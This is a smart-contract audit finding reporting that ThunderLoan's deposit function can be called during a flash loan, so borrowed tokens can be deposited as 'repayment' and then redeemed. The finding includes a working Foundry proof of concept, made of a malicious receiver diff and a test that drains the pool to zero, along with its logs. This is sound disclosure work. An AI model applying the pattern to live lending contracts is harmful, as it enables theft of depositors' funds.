Root + Impact

• Root: The ThunderLoan::deposit function isn't protected by anything whenever a user processes some kind of flashloans. It leaves an open window for the user to deposit the same funds (taken through flashloan) into the contract, and then redeem them later.

• Impact: This leads to the drainage of the whole contract. Simple and Straight.

Description

• Normal Behaviour: The working of flash loans should be simple: User takes the flash loan, does some stuff, and returns it in the same transaction. The system also checks whether the user returned the funds or not, and if not, then the transaction reverts.

• Issue:

  • Everything seems good, but the protocol didn't protect the deposit function during the flash loan calls.

  • As we can see that the flashloan does a naive check of balances before and after the flash loan. But ain't of much use.

  • This will provide an opportunity for malicious users to deposit that same flash loan and redeem it later. Thus, it hits two birds with one stone.

  function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {

  @> // No protection against flash loans, anyone can call this function

  }

  ​

  ...

  ​

  function flashloan(

  address receiverAddress,

  IERC20 token,

  uint256 amount,

  bytes calldata params

  )

  external

  revertIfZero(amount)

  revertIfNotAllowedToken(token)

  {

  // ...

  ​

  // Flash loan stuff happens

  ​

  // ...

  ​

  uint256 endingBalance = token.balanceOf(address(assetToken));

  @> if (endingBalance < startingBalance + fee) {

  revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);

  }

  }

Risk

• Likelihood: High

  • No rocket science, easy to do such malicious behaviour

  • The longer the user waits, the bigger the profit

• Impact: High

  • Instant drain of the whole contract

  • What was implemented as a feature turned out to be its grave!!

Proof of Concept

1. To make this PoC work, we gotta make some changes in the existing ThunderLoan::deposit, test/mock/MockFlashLoanReceiver, and src/interfaces/IThunderLoan.sol

   • Removing the malicious exchange rate updates in the deposit function of ThunderLoan contract (as they mess up with the calculations)

     function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {

     AssetToken assetToken = s_tokenToAssetToken[token];

     uint256 exchangeRate = assetToken.getExchangeRate();

     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;

     emit Deposit(msg.sender, token, amount);

     assetToken.mint(msg.sender, mintAmount);

     - uint256 calculatedFee = getCalculatedFee(token, amount);

     - assetToken.updateExchangeRate(calculatedFee);

     token.safeTransferFrom(msg.sender, address(assetToken), amount);

     }
     
     

   • Adding deposit and redeem in IThunderLoan interface

     interface IThunderLoan {

     function repay(address token, uint256 amount) external;

     + function deposit(address token, uint256 amount) external;

     + function redeem(address token, uint256 amount) external;

     }
     
     

   • Turning MockFlashLoanReceiver to the malicious one

     @@ -41,11 +41,20 @@ contract MockFlashLoanReceiver {

     revert MockFlashLoanReceiver__onlyThunderLoan();

     }

     IERC20(token).approve(s_thunderLoan, amount + fee);

     - IThunderLoan(s_thunderLoan).repay(token, amount + fee);

     + IThunderLoan(s_thunderLoan).deposit(token, amount + fee);

     s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));

     return true;

     }

     ​

     + function callRedeem(address token, uint256 amount) external {

     + if (msg.sender != s_owner) {

     + revert MockFlashLoanReceiver__onlyOwner();

     + }

     +

     + IThunderLoan(s_thunderLoan).redeem(token, amount);

     + }

     +
   
   

2. As we are all set, now add the following test in test/unit/ThunderLoanTest.t.sol

   function test__MaliciousFlashLoanerDrainsTheWholeContract() public setAllowedToken hasDeposits {

   // Current underlying token balance inside the AssetToken linked to TokenA

   uint256 initialBalance = tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA)));

   console.log("Initial balance: ", initialBalance);

   ​

   // A malicious user calls for the flashLoan

   // uint256 amountToBorrow = AMOUNT * 100;

   tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);

   ​

   vm.prank(user);

   thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, initialBalance, "");

   ​

   // Well, the user didn't return the flashloan, instead deposited it. Now if he calls redeem

   vm.prank(user);

   mockFlashLoanReceiver.callRedeem(address(tokenA), type(uint256).max);

   ​

   uint256 finalBalance = tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA)));

   console.log("Final balance: ", finalBalance);

   assertEq(finalBalance, 0);

   }
   
   

3. Run the test using:

   forge test --mt test__MaliciousFlashLoanerDrainsTheWholeContract -vv
   
   

4. Logs:

   Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest

   [PASS] test__MaliciousFlashLoanerDrainsTheWholeContract() (gas: 1723985)

   Logs:

   Initial balance: 1000000000000000000000

   Final balance: 0

   ​

   Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.38ms (2.04ms CPU time)

Recommended Mitigation

The deposit function should be protected against any call while the flash loan is being processed. To do this, we can add a newly created modifier to it.